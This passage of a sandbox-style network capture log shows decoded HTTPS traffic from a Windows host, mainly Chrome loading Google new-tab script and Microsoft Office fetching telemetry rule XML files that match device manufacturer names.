2024-11-13 17:08:16 UTC	1378	IN	Data Raw: 20 44 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 2e 67 62 5f 49 20 2e 67 62 5f 41 5c 22 29 2c 45 64 5c 75 30 30 33 64 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 5c 22 23 67 62 2e 67 62 5f 52 63 5c 22 29 3b 44 64 5c 75 30 30 32 36 5c 75 30 30 32 36 21 45 64 5c 75 30 30 32 36 5c 75 30 30 32 36 5f 2e 43 64 28 5f 2e 6d 64 2c 44 64 2c 5c 22 63 6c 69 63 6b 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 5f 2e 46 64 5c 75 30 30 33 64 74 79 70 65 6f 66 20 41 73 79 6e 63 43 6f 6e 74 65 78 74 21 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 75 6e 64 65 66 69 6e 65 64 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 Data Ascii: Dd\u003ddocument.querySelector(\".gb_I .gb_A\"),Ed\u003ddocument.querySelector(\"#gb.gb_Rc\");Dd\u0026\u0026!Ed\u0026\u0026_.Cd(_.md,Dd,\"click\");\n}catch(e){_._DumpException(e)}\ntry{\n_.Fd\u003dtypeof AsyncContext!\u003d\u003d\"undefined\"\u0026\u0026
2024-11-13 17:08:16 UTC	1378	IN	Data Raw: 5f 2e 4d 64 2e 65 6d 70 74 79 48 54 4d 4c 3a 5c 22 5c 22 29 3b 5c 6e 7d 63 61 74 63 68 28 65 29 7b 5f 2e 5f 44 75 6d 70 45 78 63 65 70 74 69 6f 6e 28 65 29 7d 5c 6e 74 72 79 7b 5c 6e 76 61 72 20 56 64 2c 69 65 2c 55 64 2c 57 64 2c 61 65 3b 5f 2e 53 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 61 3a 4e 75 6d 62 65 72 2e 69 73 46 69 6e 69 74 65 28 61 29 3f 61 7c 30 3a 76 6f 69 64 20 30 7d 3b 5f 2e 54 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 69 66 28 61 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 29 72 65 74 75 72 6e 20 61 3b 69 66 28 74 79 70 65 6f 66 20 61 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 73 74 72 69 6e 67 5c 22 29 7b 69 66 Data Ascii: _.Md.emptyHTML:\"\");\n}catch(e){_._DumpException(e)}\ntry{\nvar Vd,ie,Ud,Wd,ae;_.Sd\u003dfunction(a){return a\u003d\u003dnull?a:Number.isFinite(a)?a\|0:void 0};_.Td\u003dfunction(a){if(a\u003d\u003dnull)return a;if(typeof a\u003d\u003d\u003d\"string\"){if
2024-11-13 17:08:16 UTC	190	IN	Data Raw: 74 75 72 6e 20 5f 2e 75 62 28 61 2c 62 2c 63 2c 21 31 29 21 5c 75 30 30 33 64 5c 75 30 30 33 64 76 6f 69 64 20 30 7d 3b 5f 2e 67 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 54 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 53 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 5f 2e 53 64 28 5f 2e 4d 63 28 61 2c 62 29 29 7d 3b 5f 2e 54 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 67 65 28 61 2c 62 29 0d 0a Data Ascii: turn _.ub(a,b,c,!1)!\u003d\u003dvoid 0};_.ge\u003dfunction(a,b){return _.Td(_.Mc(a,b))};_.S\u003dfunction(a,b){return _.Sd(_.Mc(a,b))};_.T\u003dfunction(a,b,c\u003d0){return _.vb(_.ge(a,b)
2024-11-13 17:08:16 UTC	424	IN	Data Raw: 31 61 31 0d 0a 2c 63 29 7d 3b 5f 2e 68 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 5c 75 30 30 33 64 30 29 7b 72 65 74 75 72 6e 20 5f 2e 76 62 28 5f 2e 53 28 61 2c 62 29 2c 63 29 7d 3b 5f 2e 6a 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 61 2e 6c 61 73 74 49 6e 64 65 78 4f 66 28 62 2c 30 29 5c 75 30 30 33 64 5c 75 30 30 33 64 30 7d 3b 55 64 5c 75 30 30 33 64 5f 2e 4d 64 3b 5f 2e 59 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 2b 5c 22 5c 22 7d 7d 3b 61 65 5c 75 30 30 33 64 2f 5e 5c 5c 73 2a 28 3f 21 6a 61 76 61 73 63 72 69 70 74 3a 29 28 3f 3a 5b Data Ascii: 1a1,c)};_.he\u003dfunction(a,b,c\u003d0){return _.vb(_.S(a,b),c)};_.je\u003dfunction(a,b){return a.lastIndexOf(b,0)\u003d\u003d0};Ud\u003d_.Md;_.Yd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i+\"\"}};ae\u003d/^\\s*(?!javascript:)(?:[

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.6	49745	172.217.18.4	443	6996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-13 17:08:16 UTC	957	IN	HTTP/1.1 200 OK Version: 694010790 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Wed, 13 Nov 2024 17:08:16 GMT Server: gws Cache-Control: private X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-11-13 17:08:16 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-11-13 17:08:16 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.6	49750	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	192	OUT	GET /rules/rule120630v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 499 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:45 GMT ETag: "0x8DC582B98CEC9F6" x-ms-request-id: 57085b9e-f01e-005d-1ca2-3413ba000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-r178fb8d7657w5c5hC1DFW5ngg000000019g00000000t8eu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:17 UTC	499	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120630" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.6	49751	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	192	OUT	GET /rules/rule120629v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 428 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC4F34CA" x-ms-request-id: 53e8259c-c01e-0046-51a0-342db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-1749fc9bdbd85qw2hC1DFW157000000001g0000000003kt7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:17 UTC	428	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 32 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 2d 5b 53 73 5d 5b 54 74 5d 5b 41 61 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120629" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120627" /> <SR T="2" R="([Mm][Ii][Cc][Rr][Oo]-[Ss][Tt][Aa][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.6	49752	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:16 UTC	192	OUT	GET /rules/rule120631v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 415 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B988EBD12" x-ms-request-id: 6d06536c-d01e-005a-3ca0-347fd9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-1749fc9bdbdcm45lhC1DFWeab8000000011g00000000u5ag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:17 UTC	415	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 32 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 48 68 5d 5b 55 75 5d 5b 41 61 5d 5b 57 77 5d 5b 45 65 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120631" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120629" /> <SR T="2" R="([Hh][Uu][Aa][Ww][Ee][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tru

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.6	49753	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:17 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: f61e936b-a01e-006f-0ea2-3413cd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-r178fb8d7657w5c5hC1DFW5ngg00000001ag00000000q2sb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:17 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.6	49754	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:17 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: 2e90e071-a01e-0098-64a3-348556000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-1749fc9bdbdmg6wshC1DFWu2bc00000001cg000000007vpm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:17 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.6	49757	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:17 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:17 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 0559421d-e01e-000c-5ba0-348e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-r178fb8d765n474shC1DFWge7g000000017g00000000qet3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:17 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.6	49756	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:17 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 65394723-101e-00a2-80f1-2c9f2e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-16547b76f7f22sh5hC1DFWyb4w0000000hag00000000hx67 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:18 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.6	49761	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:17 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:18 UTC	491	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ceff4d6f-101e-007a-10c7-2c047e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-16547b76f7frbg6bhC1DFWr5400000000he0000000002919 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-13 17:08:18 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.6	49762	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-13 17:08:17 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-13 17:08:18 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 13 Nov 2024 17:08:17 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: a5d3a887-701e-0050-40a7-346767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241113T170817Z-r178fb8d765mjvjchC1DFWhkyn000000012000000000usa0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
